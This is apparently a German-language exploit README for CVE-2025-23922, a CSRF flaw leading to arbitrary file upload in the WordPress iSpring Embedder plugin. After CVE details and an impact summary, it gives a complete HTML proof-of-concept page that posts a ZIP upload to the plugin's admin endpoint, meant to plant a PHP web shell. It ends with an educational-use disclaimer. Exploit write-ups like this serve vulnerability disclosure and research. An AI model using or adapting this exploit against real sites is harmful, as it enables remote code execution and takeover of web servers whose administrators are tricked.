CVE-2025-23922 - WordPress iSpring Embedder CSRF zu beliebigem Datei-Upload

📌 CVE-Details

CVE-ID: CVE-2025-23922
Veröffentlicht: 2025-01-16
Betroffenes Plugin: WordPress iSpring Embedder Plugin
Betroffene Versionen: <= 1.0
Autor des Plugins: Harsh
Schwachstellentyp: Cross-Site Request Forgery (CSRF) → beliebiger Datei-Upload
CWE-ID: CWE-352: Cross-Site Request Forgery (CSRF)
CVSS-Score: 10.0 (Kritisch)
Vektor: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

🔥 Beschreibung

Eine CSRF-Schwachstelle im iSpring Embedder WordPress-Plugin ermöglicht es einem nicht authentifizierten entfernten Angreifer, einen authentifizierten Administrator dazu zu bringen, beliebige Dateien (wie eine PHP-Web-Shell) auf den Server hochzuladen.

Der anfällige Endpunkt implementiert keinen CSRF-Schutz, und die Datei-Upload-Funktion akzeptiert .zip-Dateien, die in folgendes Verzeichnis extrahiert werden:

/wp-content/uploads/iSpring_embedder/

💡 Auswirkungen

Ein Angreifer kann:

Datei-Uploads ohne Authentifizierung auslösen.
Durch Hochladen einer schädlichen PHP-Datei in einem ZIP-Archiv Code-Ausführung aus der Ferne (RCE) erlangen.
Den gesamten Webserver gefährden, indem dieser Angriff mit einer präparierten Web-Shell kombiniert wird.

🚀 Proof-of-Concept (PoC) Exploit (HTML)

<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <title>CSRF File Upload Exploit</title>
  <style>
    body {
      font-family: Arial, sans-serif;
      background-color: #f4f4f4;
      padding: 20px;
    }
    .container {
      background: #fff;
      padding: 25px;
      border-radius: 10px;
      box-shadow: 0 0 10px rgba(0,0,0,0.1);
      max-width: 600px;
      margin: auto;
    }
    h1 {
      color: #d9534f;
    }
    input[type="file"],
    input[type="submit"] {
      margin-top: 10px;
      padding: 10px;
      font-size: 16px;
    }
    .footer {
      margin-top: 30px;
      font-size: 14px;
      color: #777;
      text-align: center;
    }
  </style>
</head>
<body>
  <div class="container">
    <h1>CSRF Exploit – File Upload</h1>

    <p>
      This is a proof-of-concept (PoC) exploit for the following vulnerability:
    </p>
    <ul>
      <li><strong>Vulnerability:</strong> CSRF leading to Arbitrary File Upload</li>
      <li><strong>Plugin:</strong> iSpring Embedder for WordPress (<= v1.0)</li>
      <li><strong>CVE:</strong> CVE-2025-23922</li>
      <li><strong>Impact:</strong> Remote attackers can coerce an authenticated administrator to upload arbitrary files, potentially including web shells.</li>
      <li><strong>Upload Path:</strong> <code>/wp-content/uploads/iSpring_embedder/</code></li>
    </ul>

    <form id="csrfForm" action="http://wordpresssite/wp-admin/admin.php?page=ispring-embedder" method="POST" enctype="multipart/form-data">
      <label><strong>Select ZIP file to upload:</strong></label><br>
      <input type="file" name="zip_file" required><br>
      <input type="hidden" name="file_name" value="exploit_csrf">
      <input type="submit" name="submit_ispring_form" value="Upload File via CSRF">
    </form>

    <div class="footer">
      <p>
        Exploit for <strong>CSRF to Arbitrary File Upload vulnerability</strong><br>
        <strong>CVE-2025-23922</strong><br>
        Developed by <strong>Nxploit | Khaled Alenazi</strong>
      </p>
    </div>
  </div>
</body>
</html>

⚠️ Haftungsausschluss

Dieser Proof-of-Concept dient ausschließlich zu Bildungs- und Forschungszwecken.
Der Autor haftet nicht für Missbrauch oder Schäden, die durch diesen Exploit verursacht werden.

Nxploit | Khaled Alenazi
Sicherheitsforscher & Exploit-Entwickler
https://github.com/Nxploit

CVE-2025-23922